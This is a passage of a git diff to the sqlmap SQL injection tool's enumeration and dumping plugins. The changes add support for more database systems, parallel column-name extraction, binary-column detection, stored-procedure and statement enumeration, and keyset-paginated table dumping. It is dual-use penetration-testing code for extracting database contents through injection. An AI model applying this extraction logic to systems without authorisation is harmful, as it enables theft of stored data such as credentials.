DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.isDbms(DBMS.H2): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL, DBMS.HANA): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None + elif Backend.isDbms(DBMS.SNOWFLAKE): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + field = None + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): + query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery field = None elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) + query = rootQuery.blind.query % (conf.db, conf.db, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True), conf.db, index, conf.db, conf.db, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True), conf.db, conf.db) query += condQuery.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (tbl) + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) query += condQuery field = None + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query += condQuery + field = condition + + return agent.limitQuery(index, query, field, field) - query = agent.limitQuery(index, query, field, field) - column = unArrayizeValue(inject.getValue(query, union=False, error=False)) + indexList = list(getLimitRange(count)) + + # Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per + # worker, decoded sequentially - no length probe, predictive inference applies, names stream + # live, and under '--eta' a single whole-job bar/ETA is drawn). Eligibility is shared via + # valueParallelEligible(); serial fallback only when also fetching per-column comments (those + # need an extra per-column query). + columnNames = None + if not conf.getComments and inject.valueParallelEligible(): + columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns") + + for position, index in enumerate(indexList): + if columnNames is not None: + column = unArrayizeValue(columnNames[position]) + else: + column = unArrayizeValue(inject.getValue(columnNameQuery(index), union=False, error=False)) if not isNoneValue(column): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) + comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column) + logger.info(infoMsg) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) - if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + # In dump mode we don't need the exact type, only whether the column is binary (so its raw + # bytes get hex-extracted instead of mangled/truncated - issues #8/#582/#2827). Rather than + # extract the whole type string char-by-char, wrap the type query into a single-bit check and + # extract just that (~10x fewer requests). Skipped where query2 doesn't yield a type name: + # MSSQL (returns the column name), Firebird/Informix (numeric type codes), and PostgreSQL + # (its bytea already renders fine, so it's excluded from auto-hexing anyway). + binaryProbe = onlyColNames and dumpMode and not Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL, DBMS.FIREBIRD, DBMS.INFORMIX) + + if not onlyColNames or binaryProbe: + query = None + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, - conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, column, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True)) elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query2 % (tbl, column) - - colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + elif Backend.isDbms(DBMS.SPANNER): + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(conf.db)) + + if binaryProbe and query: + typeMatch = re.match(r"(?is)\s*SELECT\s+(.+?)\s+FROM\s+(.+)", query) + if typeMatch: + binaryCondition = " OR ".join("UPPER(%s) LIKE '%%%s%%'" % (typeMatch.group(1), _) for _ in BINARY_FIELDS_TYPE_KEYWORDS) + query = "SELECT (CASE WHEN %s THEN 1 ELSE 0 END) FROM %s" % (binaryCondition, typeMatch.group(2)) + else: + query = None # unexpected shape - fall back to leaving the type unknown - if Backend.isDbms(DBMS.FIREBIRD): - colType = FIREBIRD_TYPES.get(colType, colType) + colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) if query else None - column = safeSQLIdentificatorNaming(column) - columns[column] = colType + if binaryProbe: + column = safeSQLIdentificatorNaming(column) + columns[column] = "binary" if colType in ('1', 1) else None # sentinel matched by BINARY_FIELDS_TYPE_REGEX + else: + key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType + + if Backend.isDbms(DBMS.FIREBIRD): + colType = FIREBIRD_TYPES.get(key, colType) + elif Backend.isDbms(DBMS.INFORMIX): + notNull = False + if isinstance(key, int) and key > 255: + key -= 256 + notNull = True + colType = INFORMIX_TYPES.get(key, colType) + if notNull: + colType = "%s NOT NULL" % colType + + column = safeSQLIdentificatorNaming(column) + columns[column] = colType else: column = safeSQLIdentificatorNaming(column) columns[column] = None @@ -740,14 +999,16 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if not kb.data.cachedColumns: warnMsg = "unable to retrieve column names for " warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " - warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) - logger.warn(warnMsg) + if METADB_SUFFIX not in conf.db: + warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.warning(warnMsg) if bruteForce is None: return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) return kb.data.cachedColumns + @stackedmethod def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) @@ -763,10 +1024,7 @@ def getSchema(self): self.getTables() infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ - Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ - else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ - kb.data.cachedTables.items()]) + infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) if db else "'%s'" % unsafeSQLIdentificatorNaming(_) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): @@ -786,15 +1044,16 @@ def _tableGetCount(self, db, table): if not db or not table: return None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: db = db.upper() table = table.upper() - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) else: query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) + query = agent.whereQuery(query) count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): @@ -811,24 +1070,24 @@ def getCount(self): warnMsg = "missing table parameter, sqlmap will retrieve " warnMsg += "the number of entries for all database " warnMsg += "management system databases' tables" - logger.warn(warnMsg) + logger.warning(warnMsg) elif "." in conf.tbl: if not conf.db: conf.db, conf.tbl = conf.tbl.split('.', 1) - if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): warnMsg = "missing database parameter. sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() self.forceDbmsEnum() if conf.tbl: - for table in conf.tbl.split(","): + for table in conf.tbl.split(','): self._tableGetCount(conf.db, table) else: self.getTables() @@ -838,3 +1097,145 @@ def getCount(self): self._tableGetCount(db, table) return kb.data.cachedCounts + + def getStatements(self): + infoMsg = "fetching SQL statements" + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].statements + + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the SQL statements" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedStatements + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query + + while True: + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedStatements = [] + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedStatements.append(value.strip()) + + elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query: + query = query.replace("query", "current_query") + continue + + break + + if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of statements" + logger.info(infoMsg) + + query = rootQuery.blind.count + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedStatements + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of statements" + raise SqlmapNoneDataException(errMsg) + + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + value = None + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes + query = rootQuery.blind.query3 % index + identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + + if not isNoneValue(identifier): + query = rootQuery.blind.query2 % identifier + value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + + if isNoneValue(value): + query = rootQuery.blind.query % index + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) + + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(value): + kb.data.cachedStatements.append(value) + + if not kb.data.cachedStatements: + errMsg = "unable to retrieve the statements" + logger.error(errMsg) + else: + kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements] + + return kb.data.cachedStatements + + def getProcedures(self): + infoMsg = "fetching stored procedures" + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].procedures + + # Generic-first by design: a DBMS is supported iff it declares a <procedures> query block in + # queries.xml (INFORMATION_SCHEMA.ROUTINES / pg_proc / sys.sql_modules / ALL_SOURCE / RDB$PROCEDURES). + # Engines without stored procedures (or without a declared block) fall through with a clean + # warning - same model as getStatements() (uneven coverage is the established convention). + if "inband" not in rootQuery and "blind" not in rootQuery: + warnMsg = "on %s it is not possible to enumerate the stored procedures" % Backend.getIdentifiedDbms() + logger.warning(warnMsg) + return kb.data.cachedProcedures + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + query = rootQuery.inband.query + + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedProcedures = [] + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedProcedures.append(value.strip()) + + if not kb.data.cachedProcedures and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of stored procedures" + logger.info(infoMsg) + + count = inject.getValue(rootQuery.blind.count, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedProcedures + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of stored procedures" + raise SqlmapNoneDataException(errMsg) + + # every <procedures> blind query uses 0-based paging (MySQL "LIMIT %d,1", PostgreSQL/MSSQL/Oracle + # "OFFSET %d"), so the index range stays 0-based here regardless of PLUS_ONE_DBMSES (unlike + # getStatements(), whose Oracle idiom is 1-based; MSSQL is now 0-based, out of PLUS_ONE_DBMSES) + indexRange = getLimitRange(count) + + for index in indexRange: + query = rootQuery.blind.query % index + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(value): + kb.data.cachedProcedures.append((value or "").strip()) + + if not kb.data.cachedProcedures: + errMsg = "unable to retrieve the stored procedures" + logger.error(errMsg) + else: + kb.data.cachedProcedures = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedProcedures] + + return kb.data.cachedProcedures diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index ec1dc86400d..ac34a5ab1fb 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -13,7 +13,6 @@ from lib.core.common import clearConsoleLine from lib.core.common import getLimitRange from lib.core.common import getSafeExString -from lib.core.common import getUnicode from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue @@ -22,8 +21,12 @@ from lib.core.common import prioritySortColumns from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import singleTimeLogMessage +from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.convert import getConsoleLength +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -37,15 +40,23 @@ from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.settings import BINARY_FIELDS_TYPE_REGEX from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB +from lib.core.settings import KEYSET_MIN_ROWS +from lib.core.settings import METADB_SUFFIX from lib.core.settings import NULL +from lib.core.settings import PLUS_ONE_DBMSES +from lib.core.settings import UPPER_CASE_DBMSES from lib.request import inject from lib.utils.hash import attackDumpedTable +from lib.utils.keysetdump import keysetDumpTable +from lib.utils.keysetdump import resolveKeysetCursor from lib.utils.pivotdumptable import pivotDumpTable -from lib.utils.pivotdumptable import whereQuery +from thirdparty import six +from thirdparty.six.moves import zip as _zip -class Entries: +class Entries(object): """ This class defines entries' enumeration functionalities for plugins. """ @@ -61,35 +72,40 @@ def dumpTable(self, foundData=None): warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) - conf.db = safeSQLIdentificatorNaming(conf.db) + if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None: + infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + singleTimeLogMessage(infoMsg) + return + + conf.db = safeSQLIdentificatorNaming(conf.db) or "" if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.tbl = conf.tbl.upper() - tblList = conf.tbl.split(",") + tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: - tblList = kb.data.cachedTables.values() + tblList = list(six.itervalues(kb.data.cachedTables)) - if isinstance(tblList[0], (set, tuple, list)): + if tblList and isListLike(tblList[0]): tblList = tblList[0] - elif not conf.search: + elif conf.db and not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) @@ -99,7 +115,17 @@ def dumpTable(self, foundData=None): for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) + binaryFields = conf.binaryFields # user-provided '--binary-fields' (auto-detected ones are added per-table) + for tbl in tblList: + if kb.dumpKeyboardInterrupt: + break + + if conf.exclude and re.search(conf.exclude, unsafeSQLIdentificatorNaming(tbl), re.I) is not None: + infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) + singleTimeLogMessage(infoMsg) + continue + conf.tbl = tbl kb.data.dumpedTable = {} @@ -110,82 +136,190 @@ def dumpTable(self, foundData=None): kb.data.cachedColumns = foundData try: - kb.dumpTable = "%s.%s" % (conf.db, tbl) - - if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ - or safeSQLIdentificatorNaming(tbl, True) not in \ - kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ - or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: - warnMsg = "unable to enumerate the columns for table " - warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl) - warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if Backend.isDbms(DBMS.INFORMIX): + kb.dumpTable = "%s:%s" % (conf.db, tbl) + elif Backend.isDbms(DBMS.SQLITE): + kb.dumpTable = tbl + elif METADB_SUFFIX.upper() in conf.db.upper(): + kb.dumpTable = tbl + else: + kb.dumpTable = "%s.%s" % (conf.db, tbl) + + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: + warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX.upper() not in conf.db.upper(): + warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" - logger.warn(warnMsg) + logger.warning(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] - colList = sorted(filter(None, columns.keys())) + colList = sorted(column for column in columns if column) - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) - warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX.upper() not in conf.db.upper(): + warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" - logger.warn(warnMsg) + logger.warning(warnMsg) continue - colNames = colString = ", ".join(column for column in colList) + kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList] + colNames = colString = ','.join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table + # Auto-treat binary-typed columns (blob/varbinary/bytea/image/raw) as '--binary-fields', so their + # raw bytes (e.g. password hashes stored in binary form) are hex-extracted instead of being + # silently truncated at a NUL / mangled by the text channel (issues #8, #582, #2827). The column + # type is already known from the enumeration above, so this costs no extra request. + # (PostgreSQL excluded: its bytea already renders as readable '\xHEX' through the default text + # cast, and its hex path needs text input, so auto-hexing would double-encode.) + autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column]))] + conf.binaryFields = (list(binaryFields) if binaryFields else []) + [_ for _ in autoBinary if not (binaryFields and _ in binaryFields)] + if autoBinary: + debugMsg = "auto-treating binary column(s) '%s' as binary fields" % ', '.join(unsafeSQLIdentificatorNaming(_) for _ in autoBinary) + logger.debug(debugMsg) + infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) - infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + if METADB_SUFFIX.upper() not in conf.db.upper(): + infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: - colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) + colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString) entriesCount = 0 - if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + def _dumpCountQuery(): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): + _ = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + _ = rootQuery.blind.count % tbl + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): + _ = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) if conf.db else tbl + elif Backend.isDbms(DBMS.INFORMIX): + _ = rootQuery.blind.count % (conf.db, tbl) + else: + _ = rootQuery.blind.count % (conf.db, tbl) + return agent.whereQuery(_) + + # Keyset (seek) pagination for the error/query (inband) path too, not just the blind path below. + # It fetches every cell value-anchored (MAX(col) WHERE key=K_r on a unique integer key), so the + # per-cell retrievals of one row are pinned to the SAME physical row regardless of scan order, + # threads or MVCC - unlike ORDER BY ... LIMIT/OFFSET, which silently misaligns cells once a + # stable order is unavailable. UNION is intrinsically aligned (whole-row), so it is never preempted. + keysetDone = False + if not conf.direct and not conf.noKeyset and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) \ + and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)): + count = inject.getValue(_dumpCountQuery(), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if isNumPosStrValue(count) and (conf.keyset or int(count) >= KEYSET_MIN_ROWS): + keysetCursor = resolveKeysetCursor(tbl, colList) + if keysetCursor: + infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor) + infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + logger.info(infoMsg) + + try: + entries, lengths = keysetDumpTable(tbl, colList, int(count), keysetCursor) + for column, columnEntries in entries.items(): + length = max(lengths[column], getConsoleLength(column)) + kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} + entriesCount = len(columnEntries) + keysetDone = bool(kb.data.dumpedTable) + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if not keysetDone and (any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct): entries = [] query = None - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA, DBMS.SNOWFLAKE): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): - table = "%s.%s" % (conf.db, tbl) - - retVal = pivotDumpTable(table, colList, blind=False) - - if retVal: - entries, _ = retVal - entries = zip(*[entries[colName] for colName in colList]) + table = "%s.%s" % (conf.db, tbl) if conf.db else tbl + + if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: + warnMsg = "in case of table dumping problems (e.g. column entry order) " + warnMsg += "you are advised to rerun with '--force-pivoting'" + singleTimeWarnMessage(warnMsg) + + query = rootQuery.blind.count % table + query = agent.whereQuery(query) + + count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if isNumPosStrValue(count): + try: + indexRange = getLimitRange(count, plusOne=True) + + for index in indexRange: + row = [] + for column in colList: + query = 